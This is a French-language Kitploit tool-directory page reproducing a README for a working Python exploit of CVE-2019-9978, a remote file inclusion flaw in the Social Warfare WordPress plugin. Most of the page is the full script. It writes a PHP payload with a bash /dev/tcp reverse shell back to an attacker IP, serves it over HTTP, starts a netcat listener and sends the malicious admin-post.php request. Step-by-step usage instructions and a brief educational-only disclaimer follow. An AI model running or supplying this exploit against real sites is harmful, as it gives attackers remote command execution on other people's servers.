Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE — Le paramètre `swp_debug` dans `admin-post.php` permet à des attaquants distants d'inclure des fichiers externes contenant du code PHP malveillant, qui sont évalués sur le serveur. En fournissant une URL spécialement conçue qui héberge une charge utile de shell inversé, un attaquant peut obtenir l'exécution de commandes. | Kitploit
Outils/GitHubGitHub/housma/cve-2019-9978-social-warfare-wordpress-plugin-rce
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed TeamingOutil d'Accès à Distance

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
GitHub
housma/cve-2019-9978-social-warfare-wordpress-plugin-rce

CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE

Voir le dépôt
il y a 1 anPas encore vérifié

À propos

Le paramètre `swp_debug` dans `admin-post.php` permet à des attaquants distants d'inclure des fichiers externes contenant du code PHP malveillant, qui sont évalués sur le serveur. En fournissant une URL spécialement conçue qui héberge une charge utile de shell inversé, un attaquant peut obtenir l'exécution de commandes.

Partager

CVE-2019-9978 - RCE du plugin WordPress Social Warfare

Ce dépôt contient un exploit Python fonctionnel pour CVE-2019-9978, une vulnérabilité d'exécution de code à distance dans le plugin Social Warfare pour WordPress (version <= 3.5.2).

Description

Le paramètre swp_debug dans admin-post.php permet à un attaquant distant d'inclure des fichiers externes contenant du code PHP malveillant, qui sont évalués sur le serveur. En fournissant une URL spécialement conçue hébergeant une charge utile de reverse shell, un attaquant peut obtenir l'exécution de commandes.

Fonctionnalités de l'exploit

  • Héberge une charge utile PHP à l'aide du serveur HTTP intégré de Python.
  • Envoie un paramètre swp_url malveillant pour déclencher l'exécution de code (RCE).
  • Démarre un listener Netcat pour récupérer le reverse shell.
  • Écrit automatiquement la charge utile avec l'échappement correct pour une exécution réussie.

Prérequis

  • Python 3.x
  • Netcat
  • Résolution DNS locale pour le domaine cible (par exemple example.com mappé à l'IP cible)

Code de l'exploit

root@kitploit:~
#!/usr/bin/env python3

import requests
import threading
import http.server
import socketserver
import os
import subprocess
import time

# --- Config ---
TARGET_URL = "http://example.com"
ATTACKER_IP = "192.168.26.130"  # Change to your attack box IP
HTTP_PORT = 8000
LISTEN_PORT = 4447
PAYLOAD_FILE = "payload.txt"

def create_payload():
    """Write exact reverse shell payload using valid PHP syntax"""
    payload = f'<pre>system("bash -c \\"bash -i >& /dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\\"")</pre>'
    with open(PAYLOAD_FILE, "w") as f:
        f.write(payload)
    print(f"[+] Payload written to {PAYLOAD_FILE}")

def start_http_server():
    """Serve payload over HTTP"""
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", HTTP_PORT), handler) as httpd:
        print(f"[+] HTTP server running at port {HTTP_PORT}")
        httpd.serve_forever()

def start_listener():
    """Start Netcat listener"""
    print(f"[+] Listening on port {LISTEN_PORT} for reverse shell...")
    subprocess.call(["nc", "-lvnp", str(LISTEN_PORT)])

def send_exploit():
    """Trigger the exploit with vulnerable parameter"""
    payload_url = f"http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}"
    exploit = f"{TARGET_URL}/wp-admin/admin-post.php?swp_debug=load_options&swp_url={payload_url}"
    print(f"[+] Sending exploit: {exploit}")
    try:
        requests.get(exploit, timeout=5)
    except requests.exceptions.RequestException:
        pass

def main():
    create_payload()

    # Start web server in background
    http_thread = threading.Thread(target=start_http_server, daemon=True)
    http_thread.start()
    time.sleep(2)  # Give server time to start

    # Start listener in background
    listener_thread = threading.Thread(target=start_listener)
    listener_thread.start()
    time.sleep(1)

    # Send the malicious request
    send_exploit()

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("[-] Interrupted by user.")

Utilisation

  1. Mettez à jour ATTACKER_IP et LISTEN_PORT avec l'IP de votre machine et le port souhaité.
  2. Assurez-vous que la cible résout example.com vers la bonne IP.
  3. Exécutez le script :
root@kitploit:~
python3 exploit.py
  1. Récupérez le reverse shell dans votre listener.

Références

  • https://nvd.nist.gov/vuln/detail/CVE-2019-9978
  • https://github.com/hash3liZer/CVE-2019-9978

Avertissement

Cet exploit est fourni uniquement à des fins éducatives. Ne l'utilisez pas sans autorisation explicite sur un système que vous ne possédez pas.

Télécharger l’outil